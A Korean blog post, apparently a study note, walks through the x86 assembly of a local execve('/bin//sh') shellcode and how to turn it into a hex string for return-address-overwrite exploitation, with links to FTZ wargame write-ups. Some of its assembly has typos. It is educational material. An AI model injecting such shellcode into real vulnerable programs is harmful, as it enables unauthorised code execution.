참고 블로그
함수의 return address를 임의의 주소로 변경할 경우 임의의 주소에 있는 프로그램을 실행시킬 수 있다.
execve 실행
execve 의 호출 번호 확인
어셈블리 코드 작성
- 코드 풀이
. glbal _start
_start:
C 언어에서 main과 같은 부분 형식
xor %eax, %eax
xor %edx, %edx
xor은 다르면 1이고 같은 값을 xor 하면 0으로 초기화 된다.
push %eax
push %0x68732f2f
push %0x6e69622f
mov %esp, %ebx
/bin/sh 는 7byte로 /bin//sh는 같은 동작을 함으로 8byte로 맞춰 주었다.
0x68732f2f, 0x6e69622f 은 "//sh", "/bin" 각각 아스키코드 16진수 값을 리틀 엔디언 방식으로 변환 된 값이다.
push %edx
push %ebx
mov %esp, %ecx
movb $0x0B, %al
int $0x80
오브텍트 코드 생성 및 실행 파일 생성
위에서 추출한 16진수를 문자열로 변경하여 쉘 코드 생성
[ftz] hacker school level2 풀이 (0) | 2020.04.27 |
---|---|
[ftz] hacker school level1 문제 풀이 (0) | 2020.04.27 |
Linux gcc 컴파일 과정 및 옵션 (2) | 2017.09.13 |
Linux 명령어 및 네트워크 상식/if else (0) | 2017.09.13 |
WOWLINUX 기초 및 명령어/VI 편집기 (0) | 2017.09.07 |